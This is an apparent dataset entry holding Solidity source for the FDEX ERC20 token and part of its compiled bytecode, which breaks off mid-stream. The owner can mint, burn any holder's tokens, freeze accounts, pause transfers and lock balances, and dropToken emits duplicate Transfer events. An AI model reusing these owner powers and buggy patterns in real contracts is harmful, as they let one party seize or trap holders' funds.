}
contract FDEX is ERC20 {
string public constant name = "FDEX";
string public constant symbol = "QUROSIA";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 1200000000 * (10**uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function dropToken(address[] memory _receivers, uint256[] memory _values) public onlyOwner {
require(_receivers.length != 0);
require(_receivers.length == _values.length);
for (uint256 i = 0; i < _receivers.length; i++) {
transfer(_receivers[i], _values[i]);
emit Transfer(msg.sender, _receivers[i], _values[i]);
}
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(address _to, uint256 _value)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount)
public
onlyOwner
returns (bool)
{
super._mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder]
.length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx)
public
view
returns (uint256, uint256)
{
return (
lockInfo[_holder][_idx].releaseTime,
lockInfo[_holder][_idx].balance
);
}
function lock(
address _holder,
uint256 _amount,
uint256 _releaseTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(_releaseTime, _amount));
emit Lock(_holder, _amount, _releaseTime);
}
function lockAfter(
address _holder,
uint256 _amount,
uint256 _afterTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(now + _afterTime, _amount));
emit Lock(_holder, _amount, now + _afterTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length -
1];
}
lockInfo[_holder].length--;
}
function transferWithLock(
address _to,
uint256 _value,
uint256 _releaseTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(_releaseTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
function transferWithLockAfter(
address _to,
uint256 _value,
uint256 _afterTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(now + _afterTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, now + _afterTime);
return true;
}
function currentTime() public view returns (uint256) {
return now;
}
function afterTime(uint256 _value) public view returns (uint256) {
return now + _value;
}
}
|
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c80638456cb591161011a578063a9059cbb116100ad578063de6baccb1161007c578063de6baccb14610b45578063df03458614610bb5578063e2ab691d14610c0d578063e583983614610c65578063f2fde38b14610cc1576101fb565b8063a9059cbb146108fd578063c77828d014610963578063d18e81b314610aaf578063dd62ed3e14610acd576101fb565b8063927a4a7b116100e9578063927a4a7b1461075657806395d89b41146107c65780639dc29fac14610849578063a457c2d714610897576101fb565b80638456cb59146106665780638a57af6b146106705780638d1fdf2f146106c85780638da5cb5b1461070c576101fb565b80633f4ba83a116101925780635c975abb116101615780635c975abb1461059457806370a08231146105b6578063715018a61461060e5780637eee288d14610618576101fb565b80633f4ba83a1461047757806340c10f191461048157806345c8b1a6146104e757806346cf1bb51461052b576101fb565b806323b872dd116101ce57806323b872dd14610349578063313ce567146103cf578063378dc3dc146103f35780633950935114610411576101fb565b806304859ceb1461020057806306fdde0314610242578063095ea7b3146102c557806318160ddd1461032b575b600080fd5b61022c6004803603602081101561021657600080fd5b8101908080359060200190929190505050610d05565b6040518082815260200191505060405180910390f35b61024a610d11565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610311600480360360408110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d4a565b604051808215151515815260200191505060405180910390f35b610333610e75565b6040518082815260200191505060405180910390f35b6103b56004803603606081101561035f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7f565b604051808215151515815260200191505060405180910390f35b6103d7610fe1565b604051808260ff1660ff16815260200191505060405180910390f35b6103fb610fe6565b6040518082815260200191505060405180910390f35b61045d6004803603604081101561042757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff7565b604051808215151515815260200191505060405180910390f35b61047f61122c565b005b6104cd6004803603604081101561049757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ba565b604051808215151515815260200191505060405180910390f35b610529600480360360208110156104fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e1565b005b6105776004803603604081101561054157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611662565b604051808381526020018281526020019250505060405180910390f35b61059c611728565b604051808215151515815260200191505060405180910390f35b6105f8600480360360208110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061173b565b6040518082815260200191505060405180910390f35b610616611833565b005b6106646004803603604081101561062e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061199f565b005b61066e611ec1565b005b6106c66004803603606081101561068657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612050565b005b61070a600480360360208110156106de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612319565b005b61071461249a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107ac6004803603606081101561076c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506124c0565b604051808215151515815260200191505060405180910390f35b6107ce612921565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561080e5780820151818401526020810190506107f3565b50505050905090810190601f16801561083b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108956004803603604081101561085f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061295a565b005b6108e3600480360360408110156108ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612af7565b604051808215151515815260200191505060405180910390f35b6109496004803603604081101561091357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d2c565b604051808215151515815260200191505060405180910390f35b610aad6004803603604081101561097957600080fd5b810190808035906020019064010000000081111561099657600080fd5b8201836020820111156109a857600080fd5b803590602001918460208302840111640100000000831117156109ca57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610a2a57600080fd5b820183602082011115610a3c57600080fd5b80359060200191846020830284011164010000000083111715610a5e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612e8c565b005b610ab7613049565b6040518082815260200191505060405180910390f35b610b2f60048036036040811015610ae357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613051565b6040518082815260200191505060405180910390f35b610b9b60048036036060811015610b5b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506130d8565b604051808215151515815260200191505060405180910390f35b610bf760048036036020811015610bcb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613535565b6040518082815260200191505060405180910390f35b610c6360048036036060811015610c2357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050613581565b005b610ca760048036036020811015610c7b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613846565b604051808215151515815260200191505060405180910390f35b610d0360048036036020811015610cd757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061389c565b005b60008142019050919050565b6040518060400160405280600481526020017f464445580000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8557600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600360149054906101000a900460ff1615610f04576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fc4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f46726f6d206163636f756e74206973206c6f636b65642e00000000000000000081525060200191505060405180910390fd5b610fcd8461396b565b610fd8848484613ddc565b90509392505050565b601281565b601260ff16600a0a6347868c000281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561103257600080fd5b6110c182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff16611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4e6f7420706175736564206e6f7700000000000000000000000000000000000081525060200191505060405180910390fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6114898383614003565b8273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106116af57fe5b906000526020600020906002020160000154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061170b57fe5b906000526020600020906002020160010154915091509250929050565b600360149054906101000a900460ff1681565b6000806000905060008090505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561180f57611800600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106117df57fe5b90600052602060002090600202016001015483613fe490919063ffffffff16565b91508080600101915050611748565b5061182b8161181d85614155565b613fe490919063ffffffff16565b915050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110611b19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e6f206c6f636b20696e666f726d6174696f6e2e00000000000000000000000081525060200191505060405180910390fd5b611bc5600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611b6657fe5b9060005260206000209060020201600101546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110611c8957fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611cfc57fe5b9060005260206000209060020201600101819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038114611e6a57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490500381548110611dec57fe5b9060005260206000209060020201600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611e4457fe5b906000526020600020906002020160008201548160000155600182015481600101559050505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480919060019003611ebc9190614653565b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff1615612007576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612113576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8161211d84614155565b1015612191576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b6121e2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052808342018152602001848152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508273ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b83834201604051808381526020018281526020019250505060405180910390a2505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a491381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612585576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e6720616464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b612653600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614155565b8311156126c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000081525060200191505060405180910390fd5b61273b83600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052808442018152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b84844201604051808381526020018281526020019250505060405180910390a2600190509392505050565b6040518060400160405280600781526020017f5155524f5349410000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b612a2682614155565b811115612a9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b612aa582826141bd565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3257600080fd5b612bc182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612dee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f53656e646572206163636f756e74206973206c6f636b65642e0000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff1615612e71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b612e7a3361396b565b612e84838361430f565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600082511415612f5e57600080fd5b8051825114612f6c57600080fd5b60008090505b825181101561304457612fab838281518110612f8a57fe5b6020026020010151838381518110612f9e57fe5b6020026020010151612d2c565b50828181518110612fb857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061301a57fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612f72565b505050565b600042905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461319d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415613240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e6720616464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b61326b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614155565b8311156132e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000081525060200191505060405180910390fd5b61335383600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280848152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8484604051808381526020018281526020019250505060405180910390a2600190509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613644576040517f08c379a000000000000000000000000000000000000000